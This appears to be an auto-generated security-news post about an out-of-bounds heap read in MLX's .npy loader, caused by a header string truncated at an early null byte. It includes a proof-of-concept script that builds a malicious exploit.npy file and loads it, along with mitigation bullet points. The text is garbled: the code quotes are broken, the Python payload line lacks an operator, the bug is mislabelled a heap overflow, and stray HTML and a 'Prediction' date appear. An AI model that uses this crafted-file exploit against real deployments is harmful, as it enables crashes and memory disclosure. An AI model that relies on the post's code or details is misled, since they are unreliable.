Listen to this Post
The vulnerability occurs in mlx::core::load() when parsing a NumPy .npy file. The function reads a 118-byte header into a buffer. At line 268, `std::string header(&buffer
);` constructs a string, which stops at the first null byte within the buffer. If a malicious file contains an early null byte, this creates a string shorter than the expected 118 bytes, for example, only 20 bytes. Subsequently, at line 276, the code accesses `header[bash]` to check the value for 'T' without verifying the string's length. This out-of-bounds read accesses memory 13 bytes beyond the end of the string's heap allocation, leading to a crash or potential information disclosure.
Platform: MLX
Version: Pre-patch
Vulnerability: Heap Overflow
Severity: Critical
date: 2024-12-11
<h2 style="color: blue;">Prediction: 2024-12-18</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
[bash]
pip install mlx
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py
python3 -c "import mlx.core as mx; mx.load('exploit.npy')"
How Exploit:
Malicious .npy file
Crafted header
Early null byte
Unchecked length access
Protection from this CVE
Apply vendor patch
Validate input files
Use AddressSanitizer
Bounds checking
Impact:
Application crash
Information disclosure
13-byte heap leak
Denial-of-service
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

